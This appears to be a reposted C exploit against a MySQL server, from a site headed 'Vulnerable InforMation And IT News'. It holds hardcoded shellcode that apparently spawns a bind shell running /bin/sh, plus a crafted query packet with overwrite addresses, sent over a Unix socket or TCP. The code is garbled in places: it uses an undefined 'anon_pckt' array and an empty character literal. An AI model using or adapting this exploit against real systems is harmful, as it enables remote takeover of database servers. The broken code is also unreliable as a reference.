Vulnerable InforMation And IT News

01.#include <stdio.h>   
02.#include <mysql.h>   
03.#include <unistd.h>   
04.int thd = 0x8b1b338;   
05.int tbl = 0x8b3a880;   
06.#define USOCK2 "/tmp/mysql.sock"   
07.char addr_tdh[4];   
08.char addr_tbl[4];   
09.char addr_ret[4];   
10.  
11.#define TBL_POS   182   
12.#define THD_POS   178   
13.#define RET_POS   174   
14.#define SHL_POS   34   
15.char shcode[] = {   
16.   0x6a, 0x66, 0x58, 0x6a, 0x01, 0x5b, 0x99, 0x52, 0x53, 0x6a, 0x02, 0x89 // 12   
17.,0xe1, 0xcd, 0x80, 0x52, 0x43, 0x68, 0xff, 0x02, 0x0a, 0x93, 0x89, 0xe1   
18.,0x6a, 0x10, 0x51, 0x50, 0x89, 0xe1, 0x89, 0xc6, 0xb0, 0x66, 0xcd, 0x80   
19.,0x43, 0x43, 0xb0, 0x66, 0xcd, 0x80, 0x52, 0x56, 0x89, 0xe1, 0x43, 0xb0   
20.,0x66, 0xcd, 0x80, 0x89, 0xd9, 0x89, 0xc3, 0xb0, 0x3f, 0x49, 0xcd, 0x80   
21.,0x41, 0xe2, 0xf8, 0x52, 0x68, 0x6e, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x2f   
22.,0x62, 0x69, 0x89, 0xe3, 0x52, 0x53, 0x89, 0xe1, 0xb0, 0x0b, 0xcd, 0x80 // 12*7= 84   
23.};   
24.int tmp_idx = 0;   
25.int dump_packet_len = 7;   
26.char table_dump_packet[] = { 0x03, 0x00, 0x00, 0x00, 0x13, 0x02, 0x73 };   
27.int payload_len = 371;   
28.// header packet + select '0x39'   
29.char query_payload[] = {   
30.       0x6f, 0x01, 0x00, 0x00, 0x03, 0x73, 0x65, 0x6c, 0x65, 0x63, 0x74, 0x20, 0x27, 0x31, 0x32, 0x33 // 16    Some junk from position 6 ...   
31.     , 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x31, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36 // 32   
32.     , 0x37, 0x38, 0x39, 0x30, 0x5f, 0x32, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39 // 48   
33.     , 0x30, 0x5f, 0x33, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x34 // 64   
34.     , 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x35, 0x5f, 0x31, 0x32 // 72   
35.     , 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x36, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35 // 88   
36.     , 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x37, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38 // 94   
37.     , 0x39, 0x30, 0x5f, 0x38, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x6a // 112   
38.     , 0x0b, 0x58, 0x99, 0x52, 0x68, 0x6e, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x2f, 0x62, 0x69, 0x89, 0xe3 // 128 endsh 118   
39.     , 0x52, 0x53, 0x89, 0xe1, 0xcd, 0x80, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4c, 0x4d // 144   
40.     , 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x5a, 0x5f, 0x61, 0x61, 0x62, 0x62, 0x63 // 160   
41.     , 0x63, 0x64, 0x64, 0xa0, 0xe9, 0xff, 0xbf, 0xa0, 0xe9, 0xff, 0xbf, 0xa0, 0xe9, 0x6c, 0xbf, 0x6d // 176   
42.     , 0x6d, 0x6e, 0x6e, 0xff, 0x6f, 0x70, 0x70, 0x71, 0x71, 0x14, 0xfe, 0x2e, 0x98, 0x27, 0x72, 0x0d // len=16*4+1=65;   
43.};       
44.  
45.int anon_pckt_len = 65;   
46.  
47.#define USOCK "/tmp/mysql2.sock"   
48.  
49.int  
50.tcp_conn (char *hostname, int port)   
51.{   
52.  
53.   int sockfd;   
54.   int n;   
55.   struct sockaddr_in servaddr;   
56.  
57.   struct hostent *hp;   
58.  
59.  
60.   if ((hp = gethostbyname (hostname)) == 0)   
61.     {   
62.       perror ("gethostbyname");   
63.       exit (0);   
64.     }   
65.  
66.   if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)   
67.     {   
68.       perror ("socket");   
69.       exit (1);   
70.     }   
71.  
72.   bzero ((char *) &servaddr, sizeof (servaddr));   
73.   servaddr.sin_family = AF_INET;   
74.   servaddr.sin_port = htons (port);   
75.  
76.   memcpy (&servaddr.sin_addr, hp->h_addr, hp->h_length);   
77.   if (servaddr.sin_addr.s_addr <= 0)   
78.     {   
79.       perror ("bad address after gethostbyname");   
80.       exit (1);   
81.     }   
82.   if (connect (sockfd, (struct sockaddr *) &servaddr, sizeof (servaddr)) < 0)   
83.     {   
84.       perror ("connect");   
85.       exit (1);   
86.     }   
87.   return sockfd;   
88.}   
89.  
90.int  
91.unix_conn (char *path)   
92.{   
93.   int fd, len;   
94.   struct sockaddr_un sa;   
95.  
96.   fd = socket (PF_UNIX, SOCK_STREAM, 0);   
97.  
98.   if (fd < 0)   
99.     {   
100.       perror ("cli: socket(PF_UNIX,SOCK_STREAM)");   
101.       exit (1);   
102.     }   
103.  
104.   sa.sun_family = AF_UNIX;   
105.   strcpy (sa.sun_path, path);   
106.   len = sizeof (sa);   
107.   if (connect (fd, (struct sockaddr *) &sa, len) < 0)   
108.     {   
109.       perror ("cli: connect()");   
110.       exit (1);   
111.     }   
112.   return fd;   
113.}   
114.  
115.int  
116.main (int argc, char *argv[])   
117.{   
118.   int fd;   
119.   int i, ret;   
120.   char packet[65535];   
121.   char *path;   
122.   char *host;   
123.   int port = 3306;   
124.   char buf[65535];   
125.   int db_len = 0;   
126.   int pckt_len = anon_pckt_len;   
127.   int unix_sock = 1;   
128.   char c;   
129.  
130.   path = strdup (USOCK);   
131.   host = strdup ("127.0.0.1");   
132.  
133.   opterr = 0;   
134.  
135.   while ((c = getopt (argc, argv, "s:h:p:n:")) != -1)   
136.     switch (c)   
137.       {   
138.       case 's':   
139.path = strdup (optarg);   
140.unix_sock = 1;   
141.break;   
142.       case 'h':   
143.host = strdup (optarg);   
144.unix_sock = 0;   
145.break;   
146.       case 'p':   
147.port = atoi (optarg);   
148.unix_sock = 0;   
149.break;   
150.       case 'n':   
151.db_len = atoi (optarg);   
152.break;   
153.  
154.       default:   
155.break;   
156.       }   
157.  
158.  
159.   bzero (packet, 65535);   
160.  
161.   pckt_len = anon_pckt_len + db_len;   
162.   printf ("%d ", pckt_len);   
163.  
164.   for (i = 0; i < pckt_len; i++)   
165.     packet[i] = anon_pckt[i];   
166.  
167.   if (db_len)   
168.     for (i = anon_pckt_len - 2; i < pckt_len; i++)   
169.       packet[i] = 'A';   
170.  
171.   packet[pckt_len - 1] = '';   
172.  
173.   packet[0] = (char) (anon_pckt[0] + db_len) & 0xff;   
174.   packet[1] = (char) ((anon_pckt[0] + db_len) >> 8) & 0xff;   
175.   for (i = 0; i < pckt_len; i++)   
176.     printf (" %.2x%c", (unsigned char) packet[i],   
177.     ((i + 1) % 16 ? ' ' : ' '));   
178.   printf (" ");   
179.  
180.  
181.   if (unix_sock)   
182.     fd = unix_conn (path);   
183.   else  
184.     fd = tcp_conn (host, port);   
185.  
186.   sleep (1);   
187.   ret = recv (fd, buf, 65535, 0);   
188.   if (send (fd, packet, pckt_len, 0) != pckt_len)   
189.     {   
190.       perror ("cli: send(anon_pckt)");   
191.       exit (1);   
192.     }   
193.  
194.   ret = recv (fd, buf, 65535, 0);   
195.   for (i = 0; i < ret; i++)   
196.     printf ("%c", (isalpha (buf[i]) ? buf[i] : '.'));   
197.   printf (" ");   
198.   return 0;   
199.}